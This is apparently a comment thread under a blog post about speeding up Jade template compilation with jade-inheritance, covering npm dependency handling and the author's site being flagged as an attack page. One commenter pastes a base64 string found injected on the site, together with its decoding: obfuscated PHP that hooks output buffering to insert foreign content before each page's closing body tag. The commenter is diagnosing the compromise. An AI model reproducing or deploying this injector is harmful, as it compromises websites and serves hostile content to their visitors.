How I improved our Jade compilation time by 99.7%

by paulyoung • 13 years ago

23 11 13 years ago

nadaviv• 13 years ago

Currently, jade-inheritance depends on its own version of Jade to parse templates. Since jade-inheritance does not offer compilation, this must be done using other tools which may use a different version of Jade.

Why not use the jade that's already installed by the parent app? Due to the way dependencies work in npm, by just removing the jade dependency from jade-inheritance it should just traverse up the directory structure until it finds a jade package. Just instruct users to install jade alongside with jade-inheritance, and instead of using node_modules/jade-inheritance/node_modules/jade, it should use node_modules/jade.

paulyoung5• 13 years ago

Good question.

I had tried this approach and had issues in getting it to work. Particularly, how to specify that jade was still a dependency in package.json. Both regular dependency and peer dependency didn't seem to fit the bill.

A simple proof-of-concept would be to take the built-in binary and have that be it's own package which depends on jade and jade-inheritance.

If you can offer some advice on how to go about this, could you create an issue? https://github.com/paulyoung/jade-inheritance/issues

Thanks!

binarymax2• 13 years ago

FYI - I am getting the following warning on FireFox 22.0 for Ubuntu 12.04:

          Reported Attack Page!
          This web page at paulyoung.tv has been reported as an attack page and has been blocked based on your security preferences.

6ren• 13 years ago

Me too. I'm assuming google cache will be safer: webcache.googleusercontent.com/search?q=cache:http://paulyoung.tv/jade-inheritance

paulyoung5• 13 years ago

Oh wow. Did not know that.

Apparently Firefox uses data from Google SafeBrowsing, which doesn't report anything out of the ordinary.

http://www.google.com/safebrowsing/diagnostic?site=paulyoung...

paulyoung5• 13 years ago

Source: https://support.mozilla.org/en-US/questions/956343

binarymax2• 13 years ago

Getting this string at the top of the site. Looks to be a b64 injection attack?

         UjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gbXJvYmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0="));?>

decoded:

"R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml().\"\n\".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }"

In any case - interesting project! Just curious - how many jade templates do you have, and how deep is your inheritance going?

mattip• 13 years ago

What's with the formatting on android - the right hand margin is off the screen and I cannot pinch to zoom out?

paulyoung5• 13 years ago

I was using this theme: https://github.com/soulmedia-me/wordpress-svbtle

Is this any better? http://paulyoung.github.io

daemon13• 13 years ago

Same message on Chromium.

Probably you shall request site re-check by GGL.

paulyoung5• 13 years ago

My site is having some issues so I've added this blog post at http://paulyoung.github.io.

How I improved our Jade compilation time by 99.7%

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